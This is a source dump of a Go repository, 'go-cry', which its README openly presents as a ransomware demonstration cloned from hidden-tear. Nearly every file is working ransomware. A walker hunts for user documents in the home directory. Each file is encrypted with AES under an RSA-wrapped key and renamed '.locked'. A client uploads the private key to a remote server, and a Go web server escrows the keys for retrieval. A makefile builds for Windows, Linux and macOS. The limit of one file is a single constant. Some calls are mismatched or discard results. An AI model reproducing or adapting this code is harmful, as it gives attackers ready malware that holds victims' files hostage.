Repository: redpois0n/cry Branch: master Commit: b5c4cff434fc Files: 15 Total size: 11.0 KB Directory structure: gitextract_9hyt_tdb/ ├── README.md ├── comms.go ├── comms_test.go ├── config.go ├── crypto_test.go ├── decrypt.go ├── encrypt.go ├── home_unix.go ├── home_windows.go ├── keys.go ├── main.go ├── makefile ├── test.docx ├── walker.go └── web/ └── web.go ================================================ FILE CONTENTS ================================================ ================================================ FILE: README.md ================================================ # go-cry >some do not seem to understand that this is not even close to being complete, and manage to build a system that processes payments for this then you are probably able to write this on their own. I could say that this was a program that encrypts some of your files and stores it on a server and you would not bother This project was written to show how easy it is to create extremely malicious code. Ransomware is designed to take your most loved files hostage demanding large amounts of money to unlock them. Clone of [native-tear](https://github.com/redpois0n/native-tear/) written in Go which is a clone of [hidden-tear](https://github.com/utkusen/hidden-tear/) ## Building go-cry consists of two parts, a webserver and the client software. Output files will be placed in `./bin/` Built with linker flags `-w -s` to minimize file size. To further reduce the size of Go binaries, please see the [UPX project](https://upx.github.io/) ### Building client and webserver ``` $ make ``` Will create the files - `./bin/web[.exe]` - `./bin/cry[.exe]` ### Building client for all common operating systems and architectures ``` $ make all ``` Will create the files - `./bin/windows_amd64.exe` - `./bin/windows_x86.exe` - `./bin/linux_amd64` - `./bin/linux_x86` - `./bin/macos` (amd64) ### Cleaning Will remove all files in the bin directory ``` $ make clean ``` # Configuring ### Web server See [web/web.go](web/web.go) and modify the constant values. They are commented and straight forward. ### Client See [config.go](config.go) and modify the constant values. If modifying the RSA key size variable `Bits`, please see `EncryptedHeaderSize`. RSA ciphertext length changes depending on key size used and it is not calculated at runtime. # This program does not - Demand any money from the user. It simply encrypts the amount of files specified in [config.go](config.go) constant `ProcessMax` and sends it to the server. Encrypt your files and store your encryption key on your server. ================================================ FILE: comms.go ================================================ package main import ( "crypto/rsa" "io" "net/http" "net/url" ) // PostKey sends the private key to the remote serrver func PostKey(priv *rsa.PrivateKey, id string) error { key := Stringify(priv) _, err := http.PostForm(UploadEndpoint, url.Values{ "k": {key}, "i": {id}, }) return err } func GetKey(id string) (*rsa.PrivateKey, error) { req, err := http.PostForm(RetrieveEndpoint, url.Values{ "i": {id}, }) if err != nil { return nil, err } key := make([]byte, req.ContentLength) io.ReadFull(req.Body, key) priv, err := DecodeKey(key) return priv, err } ================================================ FILE: comms_test.go ================================================ package main import ( "fmt" "testing" ) func TestComms(t *testing.T) { fmt.Println("Generating key...") priv := Generate() str := Stringify(priv) fmt.Println(str) fmt.Println("Uploading...") err := PostKey(priv) if err != nil { panic(err) } fmt.Println("Key uploaded") fmt.Println("Retrieving key...") priv, err = GetKey() if err != nil { panic(err) } fmt.Println(Stringify(priv)) } func TestServer(t *testing.T) { fmt.Println("Sending the same key twice...") priv := Generate() PostKey(priv) PostKey(priv) } ================================================ FILE: config.go ================================================ package main // Extensions to walk var Extensions = [...]string{ "txt", "doc", "docx", "xls", "xlsx", "ppt", "pptx", "odt", "jpg", "png", "csv", "sql", "mdb", "sln", "php", "asp", "aspx", "html", "xml", "psd", } // IgnoreDirs will skip directories that contains the string var IgnoreDirs = [...]string{ "AppData", ".", } const ( // LockedExtension to append to file name when encrypted LockedExtension = ".locked" // ProcessMax X files, then stop ProcessMax int = 1 // KeySize in bytes (AES-256) KeySize int = 32 // Bits Keypair bit size (higher = exponentially slower) Bits int = 1024 // EncryptedHeaderSize I don't know how to calculate the length of RSA ciphertext, but with KeySize + aes.BlockSize it'll be 128 bytes // Check this if changing AES keysize or RSA bit size EncryptedHeaderSize int = 128 // Endpoint web server URL UploadEndpoint = "http://localhost:1312/upload" RetrieveEndpoint = "http://localhost:1312/retrieve" ) ================================================ FILE: crypto_test.go ================================================ package main import ( "testing" ) func TestCrypto(t *testing.T) { file := "test.docx" priv := Generate() encrypt(file, priv) decrypt(file+LockedExtension, priv) } ================================================ FILE: decrypt.go ================================================ package main import ( "crypto/aes" "crypto/cipher" "crypto/rand" "crypto/rsa" "io/ioutil" "crypto/sha256" "strings" ) func decrypt(file string, priv *rsa.PrivateKey) { data, err := ioutil.ReadFile(file) if err != nil { panic(err) } header := data[:EncryptedHeaderSize] label := []byte("") header, err = rsa.DecryptOAEP(sha256.New(), rand.Reader, priv, header, label) if err != nil { panic(err) } key := header[:KeySize] iv := header[KeySize : KeySize+aes.BlockSize] data = data[EncryptedHeaderSize:] block, err := aes.NewCipher(key) if err != nil { panic(err) } cipher := cipher.NewCFBDecrypter(block, iv) cipher.XORKeyStream(data, data) if strings.HasSuffix(file, LockedExtension) { file = file[:len(file)-len(LockedExtension)] } ioutil.WriteFile(file, data, 0777) // TODO } ================================================ FILE: encrypt.go ================================================ package main import ( "crypto/rsa" "io/ioutil" "crypto/aes" "crypto/rand" "crypto/cipher" "crypto/sha256" ) func encrypt(file string, priv *rsa.PrivateKey) { data, err := ioutil.ReadFile(file) if err != nil { panic(err) } key := make([]byte, KeySize) rand.Read(key) iv := make([]byte, aes.BlockSize) rand.Read(iv) header := append(key, iv...) pub := priv.PublicKey label := []byte("") header, err = rsa.EncryptOAEP(sha256.New(), rand.Reader, &pub, header, label) if err != nil { panic(err) } block, err := aes.NewCipher(key) if err != nil { panic(err) } cipher := cipher.NewCFBEncrypter(block, iv) cipher.XORKeyStream(data, data) data = append(header, data...) ioutil.WriteFile(file+LockedExtension, data, 0777) } ================================================ FILE: home_unix.go ================================================ // +build !windows package main import ( "os" ) func GetHomeDir() string { return os.Getenv("HOME") } ================================================ FILE: home_windows.go ================================================ package main import ( "os" ) func GetHomeDir() string { home := os.Getenv("HOMEDRIVE") + os.Getenv("HOMEPATH") if home == "" { home = os.Getenv("USERPROFILE") } return home } ================================================ FILE: keys.go ================================================ package main import ( "crypto/rand" "crypto/rsa" "crypto/x509" "encoding/pem" ) // Generate new RSA keypair func Generate() *rsa.PrivateKey { priv, err := rsa.GenerateKey(rand.Reader, Bits) if err != nil { panic(err) } return priv } // Stringify private key func Stringify(priv *rsa.PrivateKey) string { privateKeyDer := x509.MarshalPKCS1PrivateKey(priv) privateKeyBlock := pem.Block{ Type: "RSA PRIVATE KEY", Headers: nil, Bytes: privateKeyDer, } return string(pem.EncodeToMemory(&privateKeyBlock)) } // DecodeKey func DecodeKey(key []byte) (*rsa.PrivateKey, error) { block, _ := pem.Decode([]byte(key)) priv, err := x509.ParsePKCS1PrivateKey(block.Bytes) return priv, err } ================================================ FILE: main.go ================================================ package main import ( "fmt" "crypto/rand" "crypto/rsa" "crypto/sha256" "encoding/hex" "io/ioutil" "os" "strings" ) // GenerateID generates the unique identifier func GenerateID() string { r := make([]byte, 32) rand.Read(r) hash := sha256.New() return hex.EncodeToString(hash.Sum(r)) } func main() { idFile, err := os.Open("id.txt") var priv *rsa.PrivateKey shouldEncrypt := false // File exists, read id and get key from server if err == nil { idBytes, err := ioutil.ReadAll(idFile) idFile.Close() if err != nil { panic(err) } id := string(idBytes) id = strings.Split(id, "\r\n")[1] GetKey(id) } else { fmt.Println("generating keypair...") priv = Generate() shouldEncrypt = true } fmt.Println() fmt.Println(Stringify(priv)) startWalk := GetHomeDir() Walk(startWalk, func(filePath string, fileInfo os.FileInfo, isEncrypted bool) { fmt.Println(filePath, "encrypted", isEncrypted) if shouldEncrypt && !isEncrypted { encrypt(filePath, priv) } else if isEncrypted { decrypt(filePath, priv) } }) if shouldEncrypt { id := GenerateID() PostKey(priv, id) data := "# Do not modify this file, it contains your ID matching the encryption key\r\n" + id ioutil.WriteFile("id.txt", []byte(data), 0777) } } ================================================ FILE: makefile ================================================ BUILD=go build -ldflags="-w -s" default: build build: @echo "Building cry..." $(BUILD) -o bin/cry.exe @echo "Building server..." cd web/ && $(BUILD) -o ../bin/web.exe clean: @rm -rf bin/ @rm -f debug debug.test web/debug web/debug.test all: GOOS=windows GOARCH=amd64 $(BUILD) -o bin/windows_amd64.exe GOOS=windows GOARCH=386 $(BUILD) -o bin/windows_x86.exe GOOS=linux GOARCH=amd64 $(BUILD) -o bin/linux_amd64 GOOS=linux GOARCH=386 $(BUILD) -o bin/linux_x86 GOOS=darwin GOARCH=amd64 $(BUILD) -o bin/macos ================================================ FILE: test.docx ================================================ test filew ================================================ FILE: walker.go ================================================ package main import ( "fmt" "os" "path/filepath" "strings" ) // Walk recursively walks the input directory and applies all rules (extensions, limits etc) func Walk(startPath string, callback func(filePath string, fileInfo os.FileInfo, isEncrypted bool)) { var count int filepath.Walk(startPath, func(filePath string, fileInfo os.FileInfo, err error) error { if err != nil { fmt.Println("error", err.Error()) return nil } var proceed bool for _, v := range Extensions { if strings.HasSuffix(filePath, v) || strings.HasSuffix(filePath, LockedExtension) { proceed = true break } } for _, v := range IgnoreDirs { if strings.Contains(filepath.Dir(filePath), v) { proceed = false break } } if proceed && count < ProcessMax { count++ isEncrypted := strings.HasSuffix(filePath, LockedExtension) callback(filePath, fileInfo, isEncrypted) } return nil }) } ================================================ FILE: web/web.go ================================================ package main import ( "fmt" "log" "net/http" ) const ( // Address server listening address Address = ":1312" // UploadRoute key uploading path UploadRoute = "/upload" // RetrievalRoute RetrievalRoute = "/retrieve" ) // Pair private key and computer id type Pair struct { Id string Key string } // Keys stored in memory var Keys = []Pair{} func main() { http.HandleFunc(UploadRoute, handleUpload) http.HandleFunc(RetrievalRoute, handleRetrieve) fmt.Println("Listening on", Address) log.Fatal(http.ListenAndServe(Address, nil)) } func reject(w http.ResponseWriter, r *http.Request, reason string) { fmt.Println("Rejecting ", r.RemoteAddr+":", reason) w.WriteHeader(http.StatusNotFound) fmt.Fprint(w, http.StatusText(http.StatusNotFound)) } func handleUpload(w http.ResponseWriter, r *http.Request) { id := r.PostFormValue("i") key := r.PostFormValue("k") if r.Method != "POST" { reject(w, r, "HTTP method is not POST, got "+r.Method) return } if id == "" { reject(w, r, "id parameter i not set or empty") return } if key == "" { reject(w, r, "key parameter k is not set or empty") } for _, pair := range Keys { if pair.Id == id { reject(w, r, "key already exists") return } } pair := Pair{Id: id, Key: key} Keys = append(Keys, pair) } func handleRetrieve(w http.ResponseWriter, r *http.Request) { id := r.PostFormValue("i") if r.Method != "POST" { reject(w, r, "HTTP method is not POST, got "+r.Method) return } if id == "" { reject(w, r, "id parameter i is not set") return } for _, pair := range Keys { if pair.Id == id { fmt.Fprint(w, pair.Key) return } } reject(w, r, "no key found for id "+id) }